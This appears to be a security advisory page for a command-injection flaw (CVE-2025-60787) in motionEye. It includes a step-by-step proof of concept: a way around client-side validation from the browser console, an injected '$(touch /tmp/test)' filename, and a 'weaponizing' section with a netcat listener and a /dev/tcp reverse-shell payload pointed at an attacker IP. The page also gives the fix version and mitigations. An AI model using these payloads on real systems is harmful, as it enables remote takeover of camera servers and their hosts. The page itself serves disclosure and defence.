Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-j945-qm58-4gjx

HIGH

motionEye vulnerable to RCE via unsanitized motion config parameter

Also known asCVE-2025-60787
Published
Nov 3, 2025
Updated
Nov 3, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
2 known

EPSS Exploitation Probability

via FIRST.org ↗
24.7%probability of exploitation in next 30 days
Moderate Risk98th percentile-33.17%
12.4%34.4%56.3%78.3%32.0%24.7%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍motioneye

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.


Environment Setup

  1. Start MotionEye container
    Launch the vulnerable container:

    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
  2. Verify version
    Confirm the running version inside logs:

    docker logs motioneye | grep "motionEye server"
    

    Result:

    motionEye server 0.43.1b4
    
    <img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />
  3. Container shell access (for verification later)
    Keep a shell handy to verify results:

    docker exec -it motioneye /bin/bash
    ls -la /tmp
    

Exploitation Steps

  1. Access Web Interface

    • Open browser at: http://127.0.0.1:9999
    • Login with default credentials: admin / (blank password)
    • Add a sample RTSP network camera (required to enable camera-specific settings).
    <img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />
  2. Attempt malicious filename input

    • Go to: Camera Settings → Still Images
    • In the Image File Name field, try:
      $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
      
    • Observation: This is blocked by client-side validation in the browser.
    <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" /> <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />
  3. Client-Side Validation Discovery

    • The check is implemented in JavaScript:
      • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
    • Example validation function:
      function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
          if (this.invalid) { valid = false; return false; }
        });
        return valid;
      }
      
  4. Bypass Validation

    • Open browser console (F12 → Console tab)
    • Override the function to always return true:
      configUiValid = function() { return true; };
      
    • This bypasses client-side validation and allows arbitrary values. <img width="819" height="539" alt="bypass" src="https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2" />
  5. Inject Payload

    • Set Capture Mode: Interval Snapshots
    • Set Interval: 10
    • Set Image File Name to the payload:
      $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
      
    • Click Apply to save settings. <img width="565" height="344" alt="inject_payload" src="https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e" />
  6. Verify Execution

    • Inside the container shell:
      ls -la /tmp
      
    • Result: File /tmp/test is created with root permissions, confirming code execution. <img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" />

Weaponizing RCE (Reverse Shell Example)

  1. Start attacker listener

    nc -lvnp 4444
    
  2. Inject reverse shell payload
    Enter the following into the Image File Name field:

    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
  3. Result

    • A reverse shell connects back to the attacker’s machine.
    • Attacker gains full control of the MotionEye container environment. <img width="1140" height="366" alt="final" src="https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9" />

Root Cause

  • MotionEye writes unsanitized values (e.g., image_file_name) from the Web UI directly into camera-<id>.conf.
  • On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution

Who is impacted:

  1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
  2. Containerized and bare-metal installs alike.

Potential consequences:

  1. Full compromise of MotionEye container.
  2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImotioneyeall versions0.43.1b5
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52481webappsmultiple

motionEye 0.43.1b4 - RCE

by prabhat · Feb 11, 2026

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for motioneye. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update motioneye to 0.43.1b5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j945-qm58-4gjx is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-j945-qm58-4gjx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-j945-qm58-4gjx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges). ## Details ### Root Cause: MotionEye accepts arbitrary strings from fields such
O3 Security · Impact-Aware SCA

Is GHSA-j945-qm58-4gjx in your dependencies?

O3 detects GHSA-j945-qm58-4gjx across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.